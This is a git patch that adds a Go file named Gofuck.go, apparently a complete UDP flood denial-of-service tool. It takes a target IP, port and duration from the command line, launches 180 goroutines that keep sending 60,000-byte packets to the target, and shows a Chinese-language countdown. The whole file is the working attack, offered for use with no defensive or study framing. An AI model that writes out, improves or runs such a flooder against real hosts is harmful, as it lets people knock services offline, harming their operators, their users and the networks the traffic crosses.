From b274dc5430857002f5e8f3df854d34e274d8d91e Mon Sep 17 00:00:00 2001 From: RandyColin <44502154+randycolin@users.noreply.github.com> Date: Mon, 15 Jan 2024 21:19:57 +0800 Subject: [PATCH] Create Gofuck.go MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 主程序 --- Gofuck.go | 54 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 Gofuck.go diff --git a/Gofuck.go b/Gofuck.go new file mode 100644 index 0000000..c542934 --- /dev/null +++ b/Gofuck.go @@ -0,0 +1,54 @@ +package main + +import ( + "fmt" + "net" + "os" + "strconv" + "time" +) + +const THREADS = 180 +func attack(ip string, port int, duration int) { + bytes := make([]byte, 60000) + startTime := time.Now() + endTime := startTime.Add(time.Duration(duration) * time.Second) + for time.Now().Before(endTime) { + conn, _ := net.Dial("udp", fmt.Sprintf("%s:%d", ip, port)) + conn.Write(bytes) + conn.Close() + time.Sleep(1 * time.Millisecond) + } +} + +func countdown(remainingTime int) { + ticker := time.NewTicker(1 * time.Second) + defer ticker.Stop() + for i := remainingTime; i > 0; i-- { + fmt.Printf("\r剩余结束时间: %d秒", i) + <-ticker.C + } + fmt.Print("\r线程结束 \n") +} + +func main() { + var ip string + var port int + var attackDuration int + + if len(os.Args) < 4 { + fmt.Println("请准确输入参数:例 ./Gofuck <端口> <攻击持续时间>") + os.Exit(1) + } + + ip = os.Args[1] + port, _ = strconv.Atoi(os.Args[2]) + attackDuration, _ = strconv.Atoi(os.Args[3]) + + go countdown(attackDuration) + + for i := 0; i < THREADS; i++ { + go attack(ip, port, attackDuration) + } + time.Sleep(time.Second * time.Duration(attackDuration)) +}